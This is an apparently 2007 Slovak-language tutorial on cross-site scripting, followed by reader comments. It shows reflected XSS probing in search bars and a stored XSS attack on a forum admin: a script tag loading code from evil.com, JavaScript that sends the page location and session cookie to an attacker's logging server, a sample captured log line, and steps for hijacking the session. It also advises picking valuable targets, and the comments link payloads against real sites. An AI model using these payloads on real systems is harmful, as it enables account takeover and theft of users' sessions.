Vela ludi sa ani nepozastavuje nad XSS (Cross site scripting) a mysli, ze to vobec nie je dolezite. Rad by som vsak vyvratil tento mytus a ukazal na silu tohto vo svete dost rozsireneho fenomenu. Tento paper nie je len pre profesionalov (ti si nagoogluju xss a vobec sa tymto nebudu zaoberat) a pokusim sa ho napisat zrozumitelne aj pre tych, ktori moc do tejto problematiky nevidia a chceli by sa daco poucit. Pre akekolvek dotazy som vsetkym k dispozicii, pripadne rozsirenie niektorych partov mozem urobit na poziadanie.
Apelujem na zdravy rozum citatelov - cokolvek sa pokusite urobit na cudzych systemoch, moze byt povazovane za utok a moze byt predmetom vysetrovania a vasho obvinenia. Skusajte si to len na vlastne riziko, za vase pripadne uvaznenie, odsudenie a analne odpanenie nepreberam zodpovednost.
1. Fungovanie vlozeneho contentu na webstranke
Kedysi tu boli len staticke stranky zalozene na cistom html a browser mal problem zobrazit niekedy aj obrazok (vsak to aj trvalo na tych modemoch veky). S postupom casu ludia zacali vyuzivat aj javascript, bez ktoreho dnes nie je mozne skoro nic (len tak pre srandu si vypnite javascript v prehliadaci a skuste surfovat). V pripade XSS je html a javascript vsetko, co potrebujeme. A samozrejme este stranku na ktorej to funguje.
Pozrime sa na zubok tomuto kodu z nahodnej webstranky:
vyzera to, ako keby sa na stranke mal zobrazit dany jpg obrazok a pokial nie ste lenivi a spojazdnite si wiresharka, zistite, ze to je naozaj tak (niekedy to tak nemusi byt :) - preto pouzivajte vzdy funkciu Follow TCP stream). tu je teda vypis, ktory suvisi s nasim img src (pre pozornych, cookie som si vymyslel len pre ilustraciu, nie je naozaj vygenerovane, niektore ine veci som pre nedolezitost vybral)
GET /directory/images/topic20.jpg HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9
Keep-Alive: 300
Connection: keep-alive
Referer: <a href="http://www.example.com/directory/topic20" title="http://www.example.com/directory/topic20">http://www.example.com/directory/topic20</a>
Cookie: PHPSESSID=2098e02db029e202a0981092
HTTP/1.1 200 OK
Date: Tue, 04 Dec 2007 19:20:29 GMT
Server: Apache
Upgrade: TLS/1.0, HTTP/1.1
Last-Modified: Tue, 14 Nov 2007 13:13:30 GMT
Expires: Thu, 03 Jan 2008 19:20:29 GMT
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: image/jpeg
tu nasleduju samotne data
Z daneho mozeme usudzovat velmi vela veci, a sice, ze obrazok sa nachadzal na stranke http://www.example.com/directory/topic20 uvadzanej ako referer a ze teda z tejto stranky moj klient (User-Agent) uz ma cookie nazvane PHPSESSID. Na GET method (odporucam prezriet aspon zakladne methods) server odpovedal 200 OK. Samozrejme medzi odoslanim GET a prijatim 200 OK je este kopec inych veci, ktore si ale nebudeme teraz vsimat. Dolezite je pochopit, co sa vlastne udialo pred tym, nez nas klient vyslal GET. Stalo sa tak preto, lebo klient "cital" kod stranky http://www.example.com/directory/topic20 riadok za riadkom a narazil na toto, co mu povedalo, ze sa tam nachadza obrazok, takze ho dal nacitat. Kod sa interpretoval. Kde je problem? V tom, ze kod sa interpretoval... Miesto obrazku vsak mozem nechat interpretovat cokolvek, problemom je len, ako to do tej stranky vlozit
2. Kde a co vkladat?
Uvazujte. Na stranke sa niekedy vyskytuje miesto, kde je mozne vlozit retazec, nechat ho spracovat webaplikaciou a ked ho tato vrati, zistime, ako sa k nemu spravala. Je to search bar. Dalej si treba uvedomit, ze ak by bol mozny XSS na stranke azetu a na stranke ebay, tak vacsi prospech mam z ebay, cize azet vobec nebudem skusat. avsak zaujimave su aj dalsie webaplikacie, kde sa prihlasuju ludia, kde su potencialne citlive informacie atd. (tolko k motivom a zvoleniu ciela)
Cize hladame nejaky search bar, respektivne hladame aplikaciu, ktora vyhladava. Pouzijeme google (odporucam pouzitie aspon operatora inurl, co vam zlahci hladanie). Moje hladanie bolo uspesne a velmi rychlo som nasiel ciel, ktory sice nie je dolezity, avsak je zranitelny. Co teda dame do search baru?
<script>alert('xss')</script>
Keby toto obsahoval nejaky html subor a otvorim si ho v prehliadaci, ziskam alert s textom "xss" - klient moj kod interpretoval. Presne o to sa snazime. Vlozenim hore spomenuteho retazca a odoslanim poziadavky na vyhladavanie nechame webaplikaciu spracovat nas input. Pokial aplikacia je zranitelna, vrati sa nam vysledok vyhladavania s alertom "xss", ktory odklikneme a stranka dokonci nacitavanie. Precitajte si pozorne predchadzajucu vetu. Preco sa to udialo presne takto? Pretoze klient "cita" kod a precital si aj nas alert, ktory interpretoval a caka na potvrdenie, az potom bude pokracovat.
Ako to vyzera v zdrojovom kode (len utrzok...)?
</a>
:<script>alert('xss')</script>
</td>
Uplne nezmenene. Este lepsie ak si vsimneme aj URL, ktora teraz vyzera nejak takto:
search.asp?SearchQuery=<script>alert('xss')</script>
pripadne mozno takto:
search.asp?SearchQuery=%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E
V takotom pripade je to este lahsie - mozem manipulovat URL... (o tom niekedy nabuduce). Tento sposob je prikladom nestaleho XSS, kedy je moj kod interpretovany len jeden krat - vzdy ho musim vlozit bud k URL alebo do search baru. Existuju vsak miesta, kde moj kod bude interpretovany vzdy, ked sa dana stranka nacita. Takymto miestom je napriklad forum.
3. Preco je XSS nebezpecne?
Kedze chceme zautocit na admina forum.example.com, v pokoji si pripravime webserver http://evil.com/ - staci najjednoduchsi, len aby logoval, a aby sme boli chraneni a zbytocne na seba neukazovali. Na fore postneme message, napriklad
<script src="http://evil.com/read.js"></script>
Obsah read.js je na fantazii kazdeho uzivatela, avsak pre nas priklad bude obsahovat
var umiestnienie = escape(document.location);
var kolacik = escape(document.cookie);
document write("<img src=http://example.com/some.gif?");
document write(umiestnenie);
document write("%20");
document.write(kolacik);
document.write(">");
Teraz cakame, co sa udeje, ci si to ten admin otvori a sledujeme logy. Ak sa podari, potom to moze vyzerat aj takto:
76.92.238.23 -- [04/Dec/2007:17:23:23 +0100] "GET /some.gif?http%3A//forum.example.com/admin/change%2Easp%3Faccount%3D11011%20PHPSESSID%3D2098e02db029e202a0981092 HTTP/1.0" 200 85 "http://forum.example.com/admin/change.asp" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1"
S touto informaciou utekame este za horuca k firefoxu a editujeme cookie.txt, kde uvedieme vsetko, co treba a uz sa len prihlasime na danu url. Samozrejme tento utok sa da urobit roznymi sposobmi - s vyuzitim php a cojaviem coho este, ale v pricipe je to stale o tom istom.
Na zaver: uviedol som len jeden zo sposobov, ako vyuzit XSS, avsak je ich viac, najlepsim je priamo OS commanding prostrednictvom klienta - vsetko vdaka javascriptu a nasledne vytvorenie si vlastneho botnetu. Do uvahy pripada podvrhnutie contentu uzivatelovi, pricom ani netusi, ze sa nepozera na stranku, ktoru povodne chcel.
Tymto pozdravujem tisicky slovenskych webov, aj VLADNYCH!!!!!
tiez som sa tymto zacal pred par mesiacmi zaoberat... pre tych co zaujimaju dalsie sposoby pre zaujimavost
XSS Cheat Sheet . Je tam velke mnozstvo roznych sposobov- celkom slusna inspiracia...
--
The best way to predict future is to invent it...
a samozrejme xssed.com, na to som zabudol
--------------------
http://sk.zone-h.org
http://www.empire-skola.sk/search.asp?menu=641&searchText=%3Cscript%3Eal...
Velmi krasny utok na abclinuxu.cz.
----------------------
Ja len v dobrom.
http://skola.security-portal.cz/czxss.html
http://skola.security-portal.cz/worldxss.html
:)
akurat som nedavno podobne opisal
http://blog.synopsi.com/2007-12-12/najpopularnejsie-utoky-xss-a-csrf-na-...